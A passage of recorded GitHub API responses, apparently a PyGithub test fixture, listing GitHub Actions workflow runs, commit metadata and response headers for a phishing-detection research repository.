extract_features_from_list","timestamp":"2020-10-04T02:23:02Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287286496,"node_id":"MDExOldvcmtmbG93UnVuMjg3Mjg2NDk2","head_branch":"API_Flatten","head_sha":"f0c323c73c060c1888f381e3b044f034535646fe","run_number":1057,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285202047,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MjAyMDQ3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287286496","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287286496","pull_requests":[],"created_at":"2020-10-04T02:01:10Z","updated_at":"2020-10-04T02:21:23Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287286496/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287286496/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285202047","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287286496/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287286496/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287286496/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"f0c323c73c060c1888f381e3b044f034535646fe","tree_id":"992134e60f39420eaab1861d1e43adddba072bde","message":"Renamed extract_features_list_email to extract_features_list","timestamp":"2020-10-04T02:00:52Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} https GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runs?event=pull_request {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"194f951a12eab0b64d8161173bc1ca3ee1b34be4923c0362e8b5413423acc2a2"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4906'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '94'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F150:57BE:1433D:386CB:5F987CA0')] {"total_count":288,"workflow_runs":[{"id":298867254,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODY3MjU0","head_branch":"feature_selection","head_sha":"c3796e68dd5102e4c4984225382e73d7ad0e1f15","run_number":286,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1318275001,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4Mjc1MDAx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298867254","pull_requests":[],"created_at":"2020-10-10T07:31:46Z","updated_at":"2020-10-10T07:34:24Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318275001","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"c3796e68dd5102e4c4984225382e73d7ad0e1f15","tree_id":"99515d4a384553cfb694f22d6c66916affb96489","message":"Module docstrings","timestamp":"2020-10-10T07:31:34Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298839288,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODM5Mjg4","head_branch":"feature_selection","head_sha":"6ae0e78204433bc1db30d2cd2bf97c4d37ada87c","run_number":285,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1318223668,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MjIzNjY4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298839288","pull_requests":[],"created_at":"2020-10-10T07:05:04Z","updated_at":"2020-10-10T07:07:37Z","jobs_url":"https://api.